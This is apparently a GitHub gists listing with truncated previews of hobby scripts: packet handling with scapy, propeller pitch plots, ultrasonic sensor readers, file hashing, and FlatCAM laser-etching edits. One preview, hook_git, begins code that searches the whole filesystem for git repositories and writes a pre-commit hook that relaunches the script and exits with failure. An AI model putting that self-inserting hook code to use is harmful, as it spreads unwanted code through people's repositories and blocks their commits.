This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scapy.all import * | |
from optparse import OptionParser | |
import threading | |
import signal | |
import sys | |
# Globals | |
packet_count = 0 | |
INTERFACE = "" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import math | |
import numpy as np | |
import matplotlib.pyplot as plt | |
from optparse import OptionParser | |
from random import choice | |
import matplotlib.colors as mcol | |
import matplotlib.cm as cm | |
# Blade pitch acts much like the gearing of the final drive of a car. Low | |
# pitch yields good low speed acceleration (and climb rate in an aircraft) | |
# while high pitch optimizes high speed performance and economy. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import RPi.GPIO as GPIO | |
from time import sleep, time | |
# RPi Setup stuff | |
GPIO.setmode(GPIO.BCM) | |
trig = 23 | |
echo = 24 | |
GPIO.setup(trig, GPIO.OUT) | |
GPIO.setup(echo, GPIO.IN) | |
GPIO.output(trig, False) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Used to read HC-SR04 Ultrasonic Range Sensor(s) | |
This sketch reads one or more ultrasonic rangefinders and adds the results in cm | |
to an array which can be read. The result order is the same as the order the | |
sensor pins are defined in. You must define an adjustment for each sensor | |
(even if it is 0). this adjustment moves '0' cm some number of cm in front of the | |
sensor. | |
*/ | |
#include "Sonar.h" | |
#include "Arduino.h" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import os | |
import subprocess | |
def hook_git(once=True, hookonlysamples=None, onlyhook="pre-commit"): | |
print("Collecting Repos") | |
to_me = os.path.abspath(__file__) | |
insert_string = "/usr/bin/python3 %s &\nexit 1" % to_me | |
repos = [] | |
for root, dirs, files in os.walk("/"): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import hashlib | |
import json | |
def sha256sum(filename): | |
h = hashlib.sha256() | |
b = bytearray(128*1024) | |
mv = memoryview(b) | |
with open(filename, 'rb', buffering=0) as f: | |
for n in iter(lambda : f.readinto(mv), 0): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
from optparse import OptionParser | |
from os import path | |
""" | |
Quick and dirty script to edit FlatCAM NC files to make them work better for | |
laser etching circuit boards. | |
""" | |
new_lines = [] |